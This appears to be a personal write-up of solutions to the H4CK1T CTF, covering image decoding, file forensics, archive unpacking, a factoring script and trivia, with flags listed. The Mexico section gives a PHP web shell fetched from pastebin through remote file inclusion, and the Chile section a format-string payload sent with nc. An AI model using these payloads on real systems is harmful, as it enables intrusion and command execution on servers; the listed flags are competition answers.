Over the past week, I again worked with Gophers in the Shell on a Ukrainian CTF called H4CK1T CTF. We finished 59th out of 1057 teams, with 2703 points. Here are some of my writeups.
Algeria (250)
In this task we are given an encrypted image as well as the encryption script. The script looks like this (condensed):
x = random.randint(1,255)
y = random.randint(1,255)
img_pix.putpixel((0,0),(len(FLAG),x,y))
for l in FLAG:
x1 = random.randint(1,255)
y1 = random.randint(1,255)
img_pix.putpixel((x,y),(ord(l),x1,y1))
x = x1
y = y1
img_pix.save(‘encrypted.png’)
It seems that each character of the flag is placed at random points in the encrypted image. Fortunately, each character also comes with the coordinates of the next character. To solve the challenge, we just write a reversing script.
FLAG = “”
img = Image.open(“encrypted.png”)
img_pix = img.convert(“RGB”)
FLAG_LEN, x, y = img_pix.getpixel((0, 0))
for i in range(FLAG_LEN — 1):
c, x, y = img_pix.getpixel((x, y))
FLAG += chr(c)
print FLAG
The flag is h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R}
.
Argentina (100)
I’m guessing the point of this problem was for
you to go through the network data and look for the right packets, but I just used strings
.
$ strings top_secret_39af3e3ce5a5d5bc915749267d92ba43.pcap | grep h4ck1t
PASS h4ck1t{i_G07_ur_f1l3s}
The flag is h4ck1t{i_G07_ur_f1l3s}
.
Brazil (100)
In this challenge, we get a ZIP full of random files (that look super suspicious), and we are asked to look for a secret. One place I eventually decided to look at was Thumbs.db, which is a file that stores thumbnails for Windows Explorer.
There are many tools out there that can help
open this type of file. I used Thumbs Viewer. Either way, the flag is the name of one of the thumbnails, h4ck1t{75943a3ca2223076e997fe30e17597d4}
.
Canada (300)
I don’t think I did this the intended way, but we were given a binary that apparently produces an output file. But I just did
$ strings parse | grep h4ck1t
to unused region of span2910383045673370361328125_cgo_thread_start missingacquirep: invalid p stateallgadd: bad status Gidlebad procedure for programbad status in shrinkstackcan’t scan gchelper stackchansend: spurious wakeupcheckdead: no m for timercheckdead: no p for timerh4ck1t{T0mmy_g0t_h1s_Gun}mach_semcreate desc countmissing stack in newstackno buffer space availableno such file or directoryoperation now in progressreflect: Bits of nil Typereleasep: invalid p stateresource deadlock avoidedruntime: program exceeds runtime
The flag is h4ck1t{T0mmy_g0t_h1s_Gun}
.
China (150)
This one was rather annoying. When you first open the RTF file, there is about 53 pages of random hex. I stripped all the nonsense off, and opened the binary file with HxD, only to discover that it was a PNG. Not only that, it seemed to have a ZIP appended to the end of it.
At that point, I just binwalk
’d the PNG and extracted the ZIP, leading me to flag.txt
, containing the flag, h4ck1t{rtf_d0cs_4r3_awesome}
.
Chile (100)
We’re told to connect to 91.231.84.36:9001
. When we connect, we are greeted with a
prompt: wanna see?
It seems that the program will print back
whatever you give it. One thought that came to mind was a print format vulnerability. If the program calls
printf(input)
where input
is the user input, then putting format symbols into our
input will cause the program to start reading off the stack.
There was probably a better way to do it, but essentially I just grabbed the top 50 elements off the stack and looked for a flag. And it was there!
failedxyz@backtick:~$ python -c ‘print “%p-” * 50’ | nc 91.231.84.36 9001
wanna see?
ok, so…
0x7f0778198483–0x7f07781999e0–0x7f0777ec4710–0x7f07781999e0-(nil)-0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x2d70252d7025-(nil)-(nil)-0x7f0777de7c38-(nil)-0x7ffe058d71d0–0x7f0778198400–0x7f0777e54987–0x7f0778198400-(nil)-0x7f07783c7740–0x7f0777e517d9–0x7f0778198400–0x7f0777e49693-(nil)-0xea7c2294f9fed000–0x7ffe058d71d0–0x4007c1–0x647b74316b633468–0x355f7530595f4431–0x3f374168375f6545–0x7d373f-0x4007f0–0xea7c2294f9fed000–0x7ffe058d72b0-(nil)-(nil)-
If you get rid of the (nil)
s and reverse the string (remember endianness), then you
should eventually arrive at the flag, which is h4ck1t{d1D_Y0u_5Ee_7hA7??7}
.
Germany (200)
In this problem, we are given a dump of some
Corp User’s home folder. Most of the documents are useless, but what we are looking for is in the AppData
folder. More specifically, the transmission of information happens over Skype, so I looked in AppData\Roaming\Skype\live#3aames.aldrich
.
main.db
kinda stuck out, so I opened that first. It was an
SQLite database of a bunch of different Skype data. I ended up finding the flag in the Contacts
table, in the row containing the user zog black
, under province
and city
columns apparently. The flag was h4ck1t{87e2bc9573392d5f4458393375328cf2}
.
Mexico (150)
If you click around the navigation bar of the
website, you’ll notice that the pages are loaded by index.php?page=example
. It probably includes pages through
some naive include function without any sanitation, although it appends .php
to the end of the filename.
To bypass this, we just stick a %00
null character to the end of our URL. Then PHP stops
reading when it hits that and won’t append .php
after the
file. But what file can we include to find the flag?
It occurred to me that if we could include any file, we could set up a pastebin containing an executable PHP code, and then include it. The PHP code I included looks like this:
if (isset($_GET[‘cmd’]))
echo system($_GET[‘cmd’]);
?>
Stick that in a pastebin or something, and then include it in your URL like this:
http://91.231.84.36:9150/index.php?page=http://pastebin.com/raw/icSpe0F0%00
Now you can execute shell commands from the
URL. Doing an ls
on the current directory reveals a file
called sup3r_$3cr3t_f1le.php
. If you cat sup3r*
then you should be able to get the flag: h4ck1t{g00d_rfi_its_y0ur_fl@g}
.
Mongolia (100)
In this problem we are asked to connect to
ctf.com.ua:9988
and solve math problems. We told C = A ^ B
and then given C, we are asked to find A and B.
Problem is, the C that they give are sometimes hundreds of digits long. Brute forcing directly is not a
good idea.
The algorithm we used was to prime-factorize C, and then multiply the factors as A, and counting how many of each factor as B. Obviously, if a factor like 2 appeared more than once, we multiply it twice into A, rather than making B twice as large.
We used the Sieve of Atkin to generate a list of
primes up to 10,000,000 (although we probably didn’t need that many), and stored it into primes.txt
. The final program looks like this:
from collections import Counter
import socket
s = socket.socket()
s.connect((“ctf.com.ua”, 9988))
primes = map(int, open(“primes.txt”).read().split(“ “))
i = 0
while True:
o = s.recv(8192)
print o
q = o.replace(“\n”, “”).replace(“ “, “”).split(“C=”)
r = int(q[-1])
print r
done = False
factors = []
for prime in primes:
while r % prime == 0:
factors.append(prime)
r //= prime
c = Counter(factors)
f = zip(*c.items())
B = min(c.values())
print f, c
A = reduce(lambda x, y: x * (y ** (c[y] // B)), f[0], 1)
if B == 1: A = r
print A, B
s.send(“%s %s\n” % (A, B))
The flag is h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}
.
Oman (50)
I was so excited to do this challenge! Once I unzipped the file and saw the folders and files, I knew it was a Minecraft world save!
I kind of saw it coming, but once I opened the world, tons of shit blew up in my face. I decided to open it with MCEdit instead. There is a sign above the spawn point that asks you to “remove the gray”. Since there was a huge rectangular field of bedrock, I assumed it meant that.
Thing is if you play, and step on the pressure
plate, it will trigger a TNT chain reaction, blowing up the blocks that make up the flag. Using MCEdit, I
just selected the bedrock region and deleted it, revealing the flag below: h4ck1t{m1n3craft_h4c3r}
.
Paraguay (250)
Honestly, this one was such a pain in the ass.
Just when you thought it was 100 nested ZIPs, suddenly a RAR comes out of nowhere. Fortunately, a Python
library called pyunpack
figures that out for you, by
checking the magic number of the file. The final script looks like this:
from pyunpack import *
import shutil
for i in range(100, 0, -1):
Archive(“%d” % i).extractall(“.”)
shutil.move(“work_folder/%d” % (i — 1), “%d” % (i — 1))
The flag is h4ck1t{0W_MY_G0D_Y0U_M4D3_1T}
.
United States (50)
This one was a freebie. Join their Telegram
channel and you get a free flag: h4ck1t{fr33_4nd_$ecur3!}
.
Trivia
There were a lot of trivia questions on the board! They weren’t worth much, but still pretty fun. Here are the solutions:
Cote d’Ivoire: h4ck1t{arpanet}
Bolivia: h4ck1t{Tim}
Colombia: h4ck1t{heartbleed}
Costa Rica: h4ck1t{7}
Ecuador: h4ck1t{archie}
Finland: h4ck1t{mitnick}
Greece: h4ck1t{30}
Honduras: h4ck1t{Binary}
Italy: h4ck1t{2015}
Kazakhstan: h4ck1t{polymorphic}
Kyrgyzstan: h4ck1t{smtp}
Madagascar: h4ck1t{caesar}
Nicaragua: h4ck1t{B@S3_S0_B@S3_}
Nigeria: h4ck1t{128}
Peru: h4ck1t{Decimal}
Phillipines: h4ck1t{creeper}
Spain: h4ck1t{social engineering}
Venezuela: h4ck1t{admin123}